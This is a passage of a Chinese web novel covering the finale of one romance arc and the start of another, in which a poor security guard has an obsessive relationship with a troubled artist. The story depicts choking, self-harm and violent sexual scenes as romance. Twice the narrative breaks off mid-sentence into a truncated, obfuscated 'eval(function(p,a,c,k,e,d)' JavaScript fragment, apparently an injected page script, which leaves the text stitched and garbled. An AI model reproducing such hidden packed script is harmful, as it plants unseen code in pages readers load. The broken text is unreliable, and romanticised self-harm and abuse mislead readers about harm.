郁峥嵘这次才把视线从账本上挪开,平静地打量着面前的女子,直到她不自然地避开实现摆弄衣角,郁峥嵘才开口:“玉溪春诗文书法双修,而且最近在学胡旋舞,跳得也很好。琵琶古琴都会弹,刺绣也是一绝,对了,玉溪春还精通药理,厨艺精湛.......这些,这些都和美貌无关。” 林三的脸白一阵红一阵,终于尴尬地扯不出笑时,郁峥嵘斟了杯茶水,递给她:“我想说这些是,容貌之于女子来说,很重要,也不是至关重要。每个人都有自己独特的过人之处,你自然也是,我相信如果我哥真的在乎所谓的容貌高下,也不会被你喜欢,更不会喜欢你。” “你、你、我、你哥、你哥怎么会喜欢我........”女孩的心思被戳破,耳根脖颈晕洇出一片片红,转过身去手忙脚乱地去整理货架,心跳砰砰砰,始终无法平复。直到又过了好一会,郁二小姐合上账本准备离开时,她才呐呐地叫住她,真诚羞涩地抿开笑,谢道:“我听见去了,谢谢你,峥嵘。” 36. 和病美人长嫂作对的第十年(完) 郁峥嵘的话被林澜杉听了进去,但回府后面对玉溪春却是难缠。他夜里又拉着郁峥嵘到院子里,喝着浓茶,强撑精神看他跳舞。香袖拂过女孩鼻尖,玉溪春脚踝手腕都系着金色的铃铛,精瘦的腰肢赤裸在夜色中,黏着细碎的汗珠,又顺着人鱼线滴落到隐秘处。 他跳着刚好转进郁峥嵘怀里,不过没敢坐实,只虚虚拢着她的脖颈,撒娇道:“你店里新来的伙计偷看我,我不喜欢,你把他赶走吧。” “林三不是那个意思,你别多想。”郁峥嵘搂着他的腰,不自觉捏了一把,玉溪春身子一颤,也没想过郁峥嵘会因为这点小事拒绝自己,更何况那林三还冒犯了他,可郁峥嵘竟然选择相信一个外人,还是个臭男人。 “那你什么意思?”玉溪春推开她站起身,高挑的身形俯视时极具压迫感,睫羽微垂,目光晦暗,倒叫人看不清他脸上的神态。 “我只是说林三对你并没有非分之想。” 郁峥嵘无奈地解释,可玉溪春明显不信,只冷下脸,思维不知如何发散,竟质问起她前几日和胡生莲的大哥同坐一辆马车的事情。 “刚好那日下雨,我又没有带伞,身边也没个仆从,胡生莲的大哥路过捎我一程去商会应酬而已。” “路过?呵,郁峥嵘,你是当真一点都不明白男人的心思吗?他哪里来那么多顺路,不过是想接近你的借口罢了。” “你想的太多了.......”郁峥嵘无奈地起身,想要回屋,却又被玉溪春从背后攥住手腕,用力扯到怀里,她的手撞到玉溪春微隆柔软的小丘,病美人颊边晕开不自然的潮红,眼里仍有愠怒,见郁峥嵘不自然地想要躲开,怒火再次彭得被点燃,他低头张口咬在猎物的唇上,牙尖刺破她的舌尖,吸吮到血的腥甜。但下一刻,湿热的柔软离开,郁峥嵘扯住他的头发,将面前发疯的美人推到一边。 郁峥嵘喘着粗气还未说什么,玉溪春却摸着脸,凤眸微眯,像只吃饱的毒蛇,阴狠地翘起唇角笑道:“怎么了?觉得被我亲很恶心是不是?所以你想被谁亲呢?是店里的伙计林三?还是胡生莲的大哥?又或者是什么我不知道的臭男人?” “滚!”郁峥嵘脑子嗡嗡的,抬手又给了玉溪春一耳光,见这死孩子仍不知死活地笑,整个人靡烂又艳丽。她心里冒出无名的怒火和悸动,猛地掐住玉溪春的脖颈,踮脚吻上他染血的唇。 郁峥嵘的吻很轻柔,和她的人一样无害又慵懒,添过玉溪春唇角的伤口,又扣着他的后颈,在玉溪春怔松沉沦的目光,吻掉他眼尾无意识溢出的泪珠。 而后,郁峥嵘将他踹开,抓乱了头发,愤恨地骂道:“狗东西!下次亲嘴再咬人试试啊!!” 事情既然到了互啃这一步了,郁峥嵘也再不说什么做姐妹做姑嫂的场面话了,只不过若让她坦诚地说做妻子,却也到底说不出口。上一世郁峥嵘没喜欢过人,甚至没有亲近的人。这一辈子亲情有了,却不承想,爱情竟然以这般吊诡的方式出现。 她承认自己对玉溪春有欲望,生理性地偏就喜欢亲近他,喜欢用脸蹭着他的脖子,喜欢抱着他睡觉。而好在玉溪春似乎比她更严重,但凡让他寻到机会,就总要攥着郁峥嵘的手,抱着她的腰,柔软的身子完全拢着她,发丝交缠,气息也相融才好。 那夜之后,被郁峥嵘亲过的死孩子更是食髓知味,又朝她索要了很多亲吻,在郁府背着人的地方,他就会攥着郁峥嵘的手伸进自己的衣领,可怜楚楚地问她:“你摸摸,摸出来溪春心里全都是你了吗?” “摸不出来,只觉得有点平了。”郁峥嵘受不了肉麻,一开口就气得玉溪春红着脸掉泪,她看着他湿漉漉的委屈小狗模样,心头蓦然又软下去,捧着玉溪春的脸,在满院鲜花的掩映下细细啄吻。 “峥嵘,嗯.......好峥嵘,亲我,爱........爱我,郁峥嵘........” “闭嘴,嘶,错了错了,别咬你是狗啊.......” 玉溪春欲求越来越大,而郁峥嵘被他磨着,也不是不想,但每次到最后一步,他都噙着眼泪,哀泣地道歉拒绝郁峥嵘,倒让她感觉自己像个强抢人妻的禽兽似的。 这样一次两次,多了再见玉溪春,郁峥嵘也难免有些尴尬,再被他亲近索吻,也变成敷衍地贴贴,后来便是躲到铺子里极少回府。好在这几日玉溪春不知忙着什么,只听说江湖中骤然动荡,许多当年参与围剿望峡山庄的门派掌门都暴毙而亡。郁峥嵘自然能猜出是谁干的,但玉溪春不提起,她自然也不会问。 又风平浪静过了半个月,也不知玉溪春是如何和郁老爷交代的,总之郁府对他的消失毫无反应。郁峥嵘有些担心,去找胡生莲询问茶庄那边有无客人谈起过当年望峡山庄后人的事情。 但胡生莲却明显买了个关子,十九岁的姑娘家已经不再是从前的小孩心性了,当年春柳书院一起做绢花的姑娘们陆陆续续都已经嫁人,只剩下她们两个,分别接管了家里的产业,成为了沧州府能说得上话的郁老板和胡老板。 胡生莲邀她去龙井山的庄子里泡温泉,郁峥嵘思索过后便答应下来,托下人去店铺告知林三之后,便坐上马车跟着胡生莲一路到了温泉山庄。 初秋还是有些凉气,郁峥嵘解开头发,泡在温泉里只露出单薄的肩膀,她剥开一个沃柑递给胡生莲,隔着丝丝缕缕的雾气问她:“行了,现在你可以告诉我玉溪春的消息了吧?” “你不能喜欢玉溪春,他和你不是一个世界的人,郁峥嵘,我和你才是来自一个地方的灵魂。” 胡生莲抓住玉溪春的手腕,猛地逼近,水波在两人周身漾开。她靠近了她,俯身逼视的瞬间,挣扎的痛楚漫过,胡生莲继续说:“从春柳书院发现你记账用的算式,我就猜出你和我一样是异世界的灵魂。不过我和你不一样的是,郁峥嵘,我知道所有人物和故事线的结局,玉溪春是阴阳之身,也就是霜杏人。他是你哥哥和林澜杉故事线的反派配角,为了得到你哥哥,维护他们的婚约,甚至不惜在你体内种蛊威胁你哥哥和他成亲,而婚后玉溪春的身份暴露,之前复仇的事情被扒出来,各门派追杀之下,他跳崖自尽,死前也没将解药交出来,导致你这也随着他的咽气惨死。玉溪春害你骗你,峥嵘,你不能喜欢他!” 水雾漫过眼睫,远处山岚落日熔金,郁峥嵘睫羽垂落,指尖缓缓滑过平静水面。 “不.......不能喜欢吗?” 再次回到郁府的时候,是第二日清晨,街道上还没几个人,郁峥嵘从马车下来,身上的衣裳是胡生莲惯穿的款式和颜色,她那件泡了水,便索性丢掉了。 郁峥嵘想要补觉,但刚进卧室,便嗅到一股甜腻的香味,越往里有,又多了若有似无的血腥。她顿了顿,掀开珠帘的手正要缩回,却从里面探出一只雪白的手,攥紧她猛地拉进床帐内。 床铺内侧尽是伤药,玉溪春穿了件暗紫色的外袍,跪坐在床上,雪白的腿交叠,脊背和胸口是已经止血的刀剑伤口,乍一见像是雪中红梅似的。他只抓着郁峥嵘的手腕,赤红着眼睛去脱她的衣裳,一件一件,直到最后郁峥嵘终于抬手掐住他的脖颈,将人推倒,玉溪春这才喘着粗气,眼泪不断涌起,却笑意疯狂,苦涩地问眼前的心上人:“胡生莲亲你了吗?你本来就喜欢女子对不对?郁峥嵘,是不是但凡一个女的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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胡生莲摆手,只送上礼品,而后遥遥望了眼正弯腰掀盖头偷看新郎的郁峥嵘,叹了口气,想起那夜她在温泉对自己说的话。 “可是,阿莲,我喜欢玉溪春,单纯只是喜欢和我一起长大一起度过这么多年的玉溪春。我喜欢的是这个可以摸得着看得见的玉溪春,不是所谓的故事线里的玉溪春。我喜欢他,这就是我们的故事,不是谁的故事。” 胡生莲走了,郁老爷郁夫人红着眼给小两口送上期许和祝福,都是自己看着长大的孩子,如今知晓了玉溪春身体的秘密,惊讶虽多,但更加心疼。他们正在衰老,年轻人的事情搞不明白,但近些年也想通了,幸福就好了,如果两个孩子彼此相爱,那又怎么会不幸福呢? 玉溪春眼里也有泪,原本以为他的生命,在报完仇之后也将像绿云一样凋零。但他又遇到了郁峥嵘,会抱着他念佛经会爱他又让他掉眼泪的郁峥嵘。 如果邵兰和玉枕逢是痛里夹着爱,那玉溪春觉得,他遇上郁峥嵘,就是在一颗颗眼泪中生出花来。 宾客散尽,长夜未央。 玉溪春乌发湿透,黏在他和怀里女孩的肩头,泪湿的睫羽黏着碎光,他声音已然嘶哑,却仍轻笑着,吻在爱人倦懒的眉心。 “我好幸福啊,郁峥嵘,我是不是要死掉了,不然我.......” “我手都要断了你再幸福我可以先去死了,别烧了啊赶紧睡觉!” 郁峥嵘还是不解风情,但抬起手,郁峥嵘却紧紧搂住多愁善感的爱人,吻在他眉心。 仙人抚我顶,结发受长生。 我还爱你,你不会死。 37. 当你抛弃救赎文男主后(一) 狂躁贫穷辍学打工的山村少女×自闭阴湿嗜痛豪门私生子 方剑文她和对门自闭症的漂亮男孩沈英搞到了一起,又为了沈英和啤酒肚老男人打架,丢了保安工作,脑袋也被开了瓢。昏迷中方剑文发现自己原来是一本救赎文里的恶毒女配。按照剧情后期会因为嫌贫爱富出轨,抛弃沈英后才发现他豪门私生子的身份。而等到方剑文后悔再去舔沈英,他已经被小太阳继妹阮芙救赎,不仅心理没毛病了还能亲自手撕她这个绿茶了...... 接受完剧情的方剑文从床上醒来,沈英还穿着沾血的白衬衫,满眼通红牵着她的手,张口就是——你也砸我一下吧文文,我要和你一起痛。方剑文闭眼甩了他一耳光,沈英舒服了眨掉眼泪去给她倒水。出院后方剑文决定按照剧情,将计就计假装被调查沈英身世的富二代迷惑,骗够一百五十万后光速逃回老家,并且斩断和沈英的一切联系。直到...... 方剑文双手被绑着,躺在自己刚盖好的二层小洋楼,而身边跪着的正是本该手撕她的救赎文男主,沈英明显精心打扮过,穿着方剑文从前在夜市地摊给他买的白色连衣裙,雪白的脖颈上拴着一截粗糙的麻绳,他启唇,舌钉泛着冷光在夜色中闪过方剑文的瞳仁。沈英一边流泪一边袒露着身上遮不住的划痕,最深的一道在颈间,他抵上绳子给方剑文,仰脸弯唇笑着说:“文文,杀了我,不要抛弃我。” 方剑文×沈英 ------------------------------------- 老刘媳妇生二胎,就和方剑文换了班,她今天值白班,刚好和夜班的沈英错开时间。 早上六点十分方剑文就睡不着了,身体和大脑都处于极度亢奋的状态,心脏咚咚咚每一下都撞得很实,她不舒服地锤了下胸口。沈英一般七点半才下夜班,方剑文趿拉着拖鞋在客厅来回走,身体微微发抖,她张嘴啃住手指,呼吸黏腻而沉重,天蓝色的棉布格子睡裙贴在身上,让方剑文有些不舒服,像套在塑料袋里半死的鱼。 客厅东面那扇橘黄的光晕移到窗台的多肉上面,不隔音的老旧楼道里传来脚步声,方剑文撸掉手腕的皮筋扎起头发,走到门口时不自觉笑了,只是唇角太尖,眼睛大得有些空洞,配上苍白的面孔,笑起来阴恻恻的透着不受控的疯狂。 咔哒钥匙打开生锈的铁门,沈英手里提着豆浆和烧麦,微蜷的黑色长发落在颊边,几缕翘起来挡在眼前。他还没抬头,发尾就被拽住,一阵蛮力将他拖到鞋柜前。沈英重重地喘了口气,宽大的衬衫衣摆被撩起,方剑文的力气大,掐着他的腰,尖锐的痛感就直往皮肉里钻。 “身上有汗,文文,带我去浴室。” 沈英抬起胳膊,配合方剑文脱掉他的上衣,腰侧淡粉色的疤痕印在冷白的皮肤上,还是有几分突兀,好似冰天雪地里落了几瓣樱花,美是美,但格外扎眼。那几道疤是一个多月前,和方剑文吵架后,沈英自己用水果刀偷偷划的。那时候方剑文害怕待在家里真的会忍不住对沈英动手,就跑出去送外卖,两天后平复心情,拎着超市临期的蛋糕回家,推门就看见沈英跪在门口。他本来就瘦,皮肤又白,跪着时腰窝曲线明显,微蜷的黑发遮着泛红的丹凤眼,眼尾又翘,看人时带着钩子。 见过沈英的人都会说他长得妖里妖气的,但方剑文这个人心思粗糙,只觉得沈英好看,真他爹的好看。 方剑文把沈英从地上拽起来,他不肯,哭着搂她的腰,跪得乌紫的膝盖打着颤,像一片惊慌的雪花,努力地想要落在某个人心尖。沈英呜呜哭着道歉,又攥着方剑文的手去摸他的凶和腰。方剑文蹲下身,目光落在沈英腰侧的刀痕上,她沉默好一会,直到沈英眨掉眼泪要主动吻她。方剑文将提了一路的蛋糕彭地砸到地上,沈英身子颤了一下,但又下意识勒住方剑文的脖子,紧密地贴着她。任凭方剑文扣出劣质奶油痛到他嘴里,女孩平静的瞳仁黑黢黢的,没有一丝活气。她将他弄得狼狈,又甜腻腻,红透的眼尾和鼻尖像微微熟的草莓,沈英唇角撕裂,攥着方剑文的手腕,添了下搅弄他口/腔的手指。 方剑文立刻就不动他了,沉默地巡视沈英美丽的面孔,她在他又一次不怕死地缠上来时,掐住沈英细长的脖颈,吻在他的眼尾。方剑文和沈英亲热,总是要先亲他的眼睛,让他看清并复述一遍是“方剑文在上沈英”之后,才会继续动作。这次也是,方剑文吮到他眼泪咸苦的味道,终于开口回应沈英:“我带沈庭逛街是为了赚钱,赚钱是要给你买蛋糕和颜料。” 沈英的眼泪扑簌簌地顺着眼尾打湿耳朵,脖颈被方剑文掐着说不出话,他徒劳张开手指,抓住地上黏腻的奶油。沈英想吻她,但方剑文先一步,松开他的脖颈,又在沈英吸到第一口氧气后,咬住他的唇瓣。她将手指一根根挤进沈英的指缝,两个人都变得狼狈,又甜腻腻,是劣质蛋糕上两颗泡软的小草莓。 方剑文吮着他唇角的伤口,又对沈英说:“这次记住,沈英是我的人,谁都不能伤害他,他自己也不行。” 八点十分,方剑文刚好从浴室出来,湿透的棉布裙子扔在地上,沈英光着身子,跟在她身后捡起来扔到洗衣机里。他随便套了件粉色的T恤,腿根和腰侧都是掐痕与淤青。今早方剑文亢奋期,更没收着力气,顶到沈英的时候,后腰撞到洗手台,一片雪白的皮肤磨得充血泛红。她现在倒是看着精神好了许多,换上工作服,又把桌子上凉掉的烧麦两口吞掉。方剑文和沈英摆了摆手,走到门口又被他拽住。沈英还是没穿衣服,细腻温凉的皮肉贴着她,很舒服。他低头只是亲她的头发,红潮未褪的脸凑近,气息黏腻,空气中混着牛奶沐浴露的味道。 “拿上豆浆,还有记得回我消息。” 装着豆浆的塑料袋塞到方剑文手里,她点点头,甚至没有亲一口近在咫尺的美丽脸蛋。铁门被摔上,窗台的纱网震颤几下,沈英垂下眼睫,赤脚走到浴室,拿出方剑文被水打湿的棉布裙子,一点一点贴到自己身上。他滑到在潮湿的地板上,颊边潮红氤氲,水珠不断顺着发丝滴落。就像一条被冲到岸边注定要死亡的鱼,沈英裹紧方剑文的睡裙,又暂时地活了下来。跑到客厅拿出手机,沈英手指颤抖,飞快地打字,四五条消息在她离家十分钟后全发了出去。 “后腰破皮了,好疼,明天要抱着我做。” “豆浆凉了是不是不好喝?要不你扔了重新买一个吧。” “下次不可以随地丢衣服了,文文。” “你刚走,怎么又开始想你了.......” “你好像喘不上气了,文文,你别不回我消息。” ...... 沈英的消息发到第五条,手机终于震了一下,财神爷头像,备注是爱心,对方发来一条消息——【现在去睡觉】 语气一点都不好,甚至没有标点和表情包,但沈英摩挲着手机,又笑了,眼里多出人的活气。他扑倒床上,裹着方剑文的被子,竟然真的听话睡去。 临睡前他又发消息,将近窃喜,说:“今天回消息好快,文文,你这么爱我吗?” ------------------------------------- 方剑文在英豪酒店当安保,只不过是破格招进去的,没有上报集□□统,工资由李队长私结。李队长算个好人,当初方剑文干闪送,到英豪酒店刚好碰到有人闹事,四五个壮汉一起抡着甩鞭冲上来,李队长差点没被打残,最后骑着破电瓶车的方剑文把车往路边一停,抡着酒店门口的发财树冲了上来,一身莽劲愣是给几个壮汉都被打趴下了。 李队长觉得稀奇,又感激方剑文,尤其看她也才是个十几二十的小姑娘,却已经开始挣钱糊口了。心念一动,得知她没有稳定工作后,就特批把方剑文招进了保安队。方剑文在保安队干得起劲,只是不太爱说话,经常锁在墙角像颗蘑菇似的,渐渐地李队长也不怎么注意她。直到半年前,方剑文又拖家带口领着个妖里妖气的男孩,主动介绍说是沈英,她对象,又让李队长给沈英也找个工作。 李队长问沈英,他又什么都不说,只躲在方剑文身后玩她的手指。李队长没办法,方剑文又睁着大眼睛直瞅他不说走,最后还是她主动说:“我看礼仪那边缺人,沈英去刚好,他长得漂亮。” “合着你早打了这个主意啊。”李队长被气笑。 方剑文摇头,抽出手将沈英往前一推,拨开他遮住眉眼的头发,认真道:“我上个星期认识他,前天确定要和他搞对象,今天才带他来找你。” “你你你你才认识几天就处对象啦?”李队长惊得嘴瓢,方剑文点头,捏住沈英的下巴,手劲大,又疼得他眼尾晕开潮红,漂亮的面孔增出妩媚来。她空洞的眼里也闪过亮光,说:“当然啊,因为他好看,不对,是他最好看。” 方剑文上班之后先修了半个小时的除草机,赚了经理两百块钱修理费,然后才有时间把早上的凉豆浆给喝了。不过今天也是巧,刚在保安亭坐下来歇一会,搭班的吴哥就进来找她,说是十四楼总统套的客人又来找她了。 吴哥表情疑惑,但倒是不怎么担心方剑文的安全问题,毕竟整个保安队就她最能打,一板砖撂倒三个壮汉不是开玩笑的。他就是有点搞不明白有钱人到底看上小方什么了.......毕竟这丫头怎么看都像是营养不良,整张脸出彩的地方只有一双大眼睛,还因为眼乌珠太圆总显得呆滞空洞。但就这样,那客人还是连着一个月找了方剑文三四次。 “奥,知道了,我现在就过去。”方剑文一口气将剩下的豆浆喝完,随手从桌子上扒出水果刀塞在裤子兜里。吴哥看的眉心直跳,还没说什么,已经走出去的方剑文反过来叮嘱他:“对了,这次也一样啊,别让沈英知道我带客人旅游的事情,他受不了。” 说完方剑文走得大步流星,很快就没了人影。反而是吴哥想起她那个小对象,啧了一声,摇了摇头叹气道:“小年轻谈个恋爱,整天要死要活的,咋滴啊,那谁离了谁还能死啊,真是......” 沈英长得妖气,但心眼子小,这事酒店员工也都知道。原本漂亮的男生就容易被格外关注,尤其像沈英这种沉默寡言的小帅哥,抿着嘴往酒店门口一站,多少男男女女的心都要化掉。只可惜沈英这人像个蚌似的,平常绷得紧,怎么都撬不开,只有对着方剑文张开自己吐出珍珠。不过方剑文这人心眼子又粗,压根没发觉沈英的问题,反而私下还去问经理,为什么大家都孤立沈英。当时经理看着方剑文攥拳满脸不忿的表情,差点没气笑,愣是扒拉出监控给她看,才终于还了大家一个清白。 只不过看完监控的方剑文,承认了是沈英孤立大家,可话锋一转,这丫头还死不悔改,又批评起经理,说:“沈英对着我就有话说,对你们就没话说。有没有想过,是你们不够有趣的问题?经理,也是时候提高一下酒店员工的幽默感了。” 卧龙凤雏搞对象这事,按下不谈。这边被老吴十分不看好的方剑文已经走到了十四楼,她敲门进去,一点没客气地走到办公桌旁边,低头工作的男人看都没看她一眼。直到方剑文靠着墙抖腿,男人扶了扶鼻梁上的眼镜,语气轻缓地呵斥她:“别在那儿像个流氓一样,站有站相,坐有坐相。” “你今天叫我来是为了给我当爹?” 方剑文挑了下眉,但还是靠墙站直了身子,认真地望着沈庭,直到这个三十多岁的男人率先不悦地移开视线。他合上电脑,揉了揉太阳穴,叹了口气:“刚好这次又来惠安出差,上次没逛完的景点,辛苦你带我逛完。” “yes,sir!”方剑文两腿一并,中气十足地喊了一嗓子。沈庭被震得有些无语,但还来不及皱眉,方剑文已经收敛神色,木着一张脸将手摊到他面前,“现在是旅游旺季,配逛街要加钱,三千一小时。” 沈庭拍开她的手,眉目间反而蕴出趣味的笑意,说:“方小姐,我是有钱人,但我不傻。” “但你有求于我,你想要算计我。”方剑文又摊开手,这次神色更加坦荡。屋内一片沉寂,桌上手机嘟嘟地响,沈庭缓过神,镜片后的眼睛忽而弯起,眼尾炸开几缕细纹,更显得他这个人温润起来。他打开手机,先是给方剑文的账户转过去一笔足够买下她一整天的金额,然后才走到窗台拨通电话,声音愈发柔和,但仍透出不容置喙的上位者威压。 “不要闹了,阿芙........你总是这样,总是一副小女孩样.......阿芙,你也该长大了.......” 沈庭第一次到英豪酒店,是三个月前的下雨天,方剑文值夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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从那天入住起,方剑文就经常能遇到沈庭,老男人出手大方,小费给得多,又总是“顺手”送她一些小礼物,虽然这些礼物转头就会被她挂到二手网站。但这并不妨碍方剑文和沈庭走得越来越近,连李队长私下都忍不住揪着方剑文教育:“那些老男人就喜欢玩你这种年轻姑娘,你叔在酒店上班,见得多了,趁着出差,给点小恩小惠,就让姑娘家以为遇到真爱了。结果等他拍拍屁股走人,留下来你的生活才是真正毁了。” “我知道啊叔,”方剑文正扒拉着饭盒里的可乐鸡翅,沈英一大早就起床做的,明明昨天晚上把他弄得乱七八糟喝水都没力气了,结果早上没注意,这小子又爬起来做饭,还真的家庭煮夫版本的特种兵啊。她脑子想着想着又拐到沈英身上,低头扒了口饭,含糊地说:“那老男人滑得跟泥鳅似的,肯定不简单。只不过说实话,他要图钱吧,没有。他图我这个人吧,到时候谁哭爹喊娘还不一定呢。只要别图我对象,我就挺乐意陪他演救助贫困少女的戏码,又不累还能赚钱。” 方剑文既然心里清楚,李队长就没再劝,只不过这次沈庭又叫她去当导游时,带队的老李提醒了一句:“你交班之前最好回来,沈英这段时间没跟你一起上班,本来就绷着有点神经质,再撞上你跟沈庭,还让他活不活了?” “我心里有数,还有这个,这个帽子你记得给沈英啊。”方剑文自己戴上个黑色的鸭舌帽,边说边把头发拢好,走出门后不远又折回来,绕过吴哥,对老李叮嘱:“你跟沈英说是我给他买的情侣款,专门买的嗷。” “你呀你又买地摊货。”老李拿起桌上的粉色鸭舌帽,看了眼粗糙的走线和帽子上绣的鸭子,有点无语,但还是给方剑文放到柜子里收好。据说沈英原本还是个搞艺术的,家里出事后才退学打工,按理说品味应该是蛮好的,结果现在全身上下都是方剑文买的地摊货。他倒是也愿意穿,还穿得蛮好看。每次看到方剑文和沈英穿着一模一样的T恤裤衩,蹲在马路牙子边吃炒面,老李都会生出一股奇妙的联想,两颗灰扑扑的小蘑菇,躲在城市的角落,就算没照到阳光,相互依偎着倒也生得很好。 说是给沈庭当导游,其实就是带着他在街上乱逛,老男人常年在健身房里锻炼,体力还行,就是受不了方剑文总领着他在小巷子里乱窜。又一次钻进二手市场,狭窄的路中间不仅挤着游人,还有收破烂的三轮车在狂按喇叭。沈庭脱下西装外套,一丝不苟的头发也垂下来几绺,五月的惠安气温已经将近三十度,他脊背热出一层薄汗,衬衫贴在身上十分不舒服。 方剑文还在抱着一个二手的空气炸锅和摊主讨价还价,沈庭不悦,等了五分钟后主动掏钱帮她买下来。 “啧,要不是你影响我发挥,就这价我还能再给他砍下来五十。”方剑文戴着鸭舌帽,长发辫了两条辫子垂在肩头,苍白的脸被晒出洇湿的血气,抱着锅跟在沈庭身边,看起来年纪更小了,像阿芙的妹妹一样。 沈庭和方剑文站在树荫下休息,她请他喝水,还特意买了一块钱一瓶的矿泉水。方剑文帮他拧开递过去,沈庭虽然犹豫,但实在太晒太渴,还是皱眉喝了一口,然后很快就喝完一瓶。 “我每天给你的导游费还有小费,应该足够你过得好一点了,为什么非要这么.......嗯,可以说节俭吗?”方剑文蹲在石墩上休息,沈庭怕脏,就站着,又忍不住盯着她发问。 方剑文仰着脸看他,心里清楚沈庭开始套话了,而她也张口就是卖惨,说:“因为我得攒钱养活自己和对象,并且还想盖个大房子。叔叔,你家底厚可能不懂,我爸死的早,我妈精神分裂,我爷我奶也不养我,我是偷了钱从村里逃出来的。唉,刚来惠安的时候我找工作,因为才十六岁,哪都不要我。没办法只能去送外卖吧,又被一些变态骚扰。后来我就把名字从方文文改成了方剑文,对面看着以为是男人,就不怎么欺负我了。” 沈庭怔住,节奏被她打乱,镜片后的眼睛眨了眨,忽然又笑出来,问方剑文:“所以你这是在向我卖惨?” “叔叔,卖惨的前提是我真的很惨,这是事实你可以查的啊。就像你现在可以这么轻蔑地跟我说话,不也是在你有钱有钱年纪还大的前提下吗?” “你还真聪明,而且不要脸。”沈庭笑出了声,这时也不嫌脏直接靠在树上,他粗鲁地抓了下汗湿的头发,抬眼终于正视起方剑文,说:“既然如此,那就不兜圈子了,叔叔这里有钱,你呢,要不要跟我聊下你的小男朋友?” 38. 当你抛弃救赎文男主后(二) ------------------------------------- 沈英睡到下午一点多就起了,肚子还不饿,或者说方剑文不在的时候,他压根无法产生饥饿感。起床套上睡衣,沈英点开手机,发现拜财神的头像只发来两条消息,还是中午十二点多,一条是空气炸锅的图片,一条说——回家给你烤蛋挞吃。 心里午睡刚起的雾气散了些,他盘腿坐在客厅,打开风扇后,手指点着手机屏幕,咚咚咚一连串发了十几条消息。大部分都是些想你爱你的话,还有一些是撒娇,问方剑文今天还爱不爱他。发完消息的沈英长长喘了口气,仰躺在地板上,风撩起少年微蜷的发丝,他苍白的面颊泛起绯红,午后的阳光晒透了六楼的墙壁,他很快洇出一层薄汗,黏在雪白的皮肤上,像小美人鱼的鳞片。 沈英只躺了一会,没收到方剑文的消息,就爬起来到杂物间画画。杂物间里堆着方剑文攒的塑料袋和纸壳子,但靠近窗台的半边空间打扫得很干净,方剑文甚至种了藤萝,窗帘也换成米黄色带蕾丝纱网的,方剑文说自己没啥审美,但又说阳光透过窗帘这样洒进来,整间屋子都会像是金黄色的梦境,而沈英站在里面,就是最宝贝的宝贝。 他继续画画,画纸上是撑着电瓶车正在戴头盔的方剑文,头盔买的是最便宜的,因为她不是怕死,但怕交警罚钱。屋子里还有成摞的画像堆着,沈英从方剑文刚搬到这里就开始画,但现在堆满了房间,舍不得烧掉,就总趁着半夜埋到公园的樱花树下面。 沈英最开始画画是母亲教的,母亲最开始画的是男欢女爱,交叠的身子和模糊的面孔。后来生病的最后几年,母亲开始画失去的女人,各种各样的死法,扭曲的肢体和合不上的眼睛。直到生命中最后一幅画,母亲交到沈英手里,一副极其简单的画,几笔勾勒出男人的侧影,他用手拢在嘴边,垂眼点烟。那幅画沈英烧掉了,但他记得每一个细节,记得母亲说:“要找到他,告诉他你是沈樱的儿子,你是沈英。” 沈樱去世之后,并没有给沈英留下多少遗产,他从烧钱的艺术系退学,郊区那栋种满樱花树的庭院在母亲生病期间就卖掉了,支付完医药费,留给沈英的钱所剩无几。他在最便宜的地段租了不带电梯的房子,整个六楼只有他这一户。而沈英就缩在房间里画画,画的也是来钱最快的黄漫。他从没有喜欢的人,甚至没有杏欲,但在画里,他偏好暴力的笔触和至死方休的纠缠。沈英幻想过,死亡才是爱的最高级形态。 而在沈英搬到六楼的半年后,一个盛夏的暴雨天,轻快的脚步声响在楼道里,薄的像纸一样的墙壁压根挡不住,她走来走去,上上下下好几趟,一个人将全部行李扛到了六楼。 沈英躲在门后,已经五天没有出门的他面色苍白,黑色的T恤像张网将他拢在阴暗里。猫眼是坏的,所以沈英将耳朵贴在门上。女孩的脚步声咚咚咚,和着暴雨声,像支战鼓。她在骂人,骂完又笑嘻嘻地讨价还价,最后彭地一声,铁门被摔上,楼道里安静下来。沈英又贴着门站了几分钟,终于要走,而这瞬窗外炸开闪电,城市陷入一秒钟的空白。而在空白的时间里,门铃响了。 门外的人说:“开门,借毛巾。” 打开门是浑身湿透的女孩,黑色的长发一缕缕黏在脸和脖颈上,她像水鬼,又只是礼貌地站在门口。沈英回屋拿毛巾,客厅墨绿色的窗帘狂舞,他走路没有声音,嘴巴也紧抿着,只在递给她毛巾的时候,眼睛掩在发丝后,偷看她。 女孩也在看他,目光很直白,接过毛巾的时候甚至将脸凑近,问沈英:“嘶,看不出来,你是男孩还是女孩啊?” 她的声音很脆,落到沈英耳朵里像火星子,他被这种直白烫到,惶然后退好几步,在又一片雷声中,摔上了门,嶙峋的脊背贴着铁门滑到在地板。沈英惊恐地睁大了眼睛,漫天盖地的水汽漫过窗户,忧惧要向海一样将他溺毙。而雷声又响起,铁门被踹得震颤,沈英扒着门把起身,屋子露出一条小缝,头上裹着毛巾的女孩挤进来。她推开沈英,咚咚咚跑到窗边,她扎进狂舞的墨绿当中,一扇一扇关上窗,又用力锁住。 “暴雨天不关窗想要被雷劈死啊,傻叉。” 她骂骂咧咧地擦着头发,挤开沈英,一阵风似的又卷出客厅。而他一个人站在房间里,水汽退散,疯狂的心跳,像火粒子,一颗一颗,炙热地吻上他。 对面女孩搬来的第七天,七点十分沈英就站到门后,据他观察,一般七点半左右,方剑文会拎着钥匙和塑料袋出门。手腕上的表走到七点半,门没有动静。沈英呼吸有些急促,脸贴到铁门上,又仔细听,对面依然没有声响,走廊无比安静,沉寂得像停尸间,或者说像她没有搬过来之前。 